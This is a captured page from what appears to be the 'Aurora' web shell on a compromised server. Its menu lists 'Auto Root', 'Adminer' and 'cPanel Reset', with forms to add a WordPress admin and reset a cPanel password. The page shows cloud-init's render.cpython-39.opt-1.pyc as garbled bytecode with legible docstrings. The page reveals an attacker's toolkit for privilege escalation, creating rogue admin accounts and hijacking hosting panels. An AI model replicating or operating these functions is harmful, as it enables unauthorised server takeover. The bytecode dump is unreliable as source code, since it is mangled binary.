Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
cloudinit
cmd
devel
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: render.cpython-39.opt-1.pyc
a '�Dg� � @ s� d Z ddlZddlZddlZddlZddlmZ ddlmZm Z m Z mZ dZe� j Ze�e�Zddd�Zdd d �Zdd� Zed kr�e�eee� �� �� dS )z,Debug jinja template rendering of user-data.� N)�read_cfg_paths)�JinjaLoadError�JinjaSyntaxParsingException� NotJinjaError�render_jinja_payload_from_fileZrenderc C sR | st jttd�} | jdtdd� | jddtdt� �d� | jdd d ddd � | S )a Build or extend and arg parser for jinja render utility. @param parser: Optional existing ArgumentParser instance representing the subcommand which will be extended to support the args of this utility. @returns: ArgumentParser with proper argument configuration. )�prog�description� user_dataz$Path to the user-data file to render)�type�helpz-iz--instance-dataz6Optional path to instance-data.json file. Defaults to z-dz--debug� store_trueFz+Add verbose messages during template render)�action�defaultr )�argparse�ArgumentParser�NAME�__doc__�add_argument�str�CLOUDINIT_RUN_DIR)�parser� r �>/usr/lib/python3.9/site-packages/cloudinit/cmd/devel/render.py� get_parser s* ��� �r Fc C s� |r |}nNt � }t�� }|�d�}|dkrT|�d�}tj�|�sXt�d||� |}n|}tj�|�stt�d|� dS z4t | ��}|� � }W d � n1 s�0 Y W n ty� t�d| � Y dS 0 zt|| ||r�d nd d�} W nt t tf�y" } zt�dt| �� W Y d} ~ dS d} ~ 0 t�yZ } z t�d | t| �� W Y d} ~ dS d} ~ 0 0 | �srt�d| � dS tj�| � dS )z�Render the provided user-data template file using instance-data values. Also setup CLI log handlers to report to stderr since this is a development utility which should be run by a human on the CLI. @return 0 on success, 1 on failure. � instance_datar Zinstance_data_sensitivez4Missing root-readable %s. Using redacted %s instead.z#Missing instance-data.json file: %s� NzMissing user-data file: %sTF)ZpayloadZ payload_fnZinstance_data_file�debugz5Cannot render from instance data due to exception: %sz2Failed to render templated user-data file '%s'. %sz#Unable to render user-data file: %s)r �os�getuidZget_runpath�path�exists�LOGZwarning�error�open�read�IOErrorr r r �reprr r �sys�stdout�write)Zuser_data_pathZinstance_data_pathr Zinstance_data_fn�paths�uidZredacted_data_fn�streamr Zrendered_payload�er r r �render_template: s` � * � ��r. c C s t |j|j|j�S )N)r. r r r )�_name�argsr r r �handle_argsv s r1 �__main__)N)NF)r r Zloggingr r'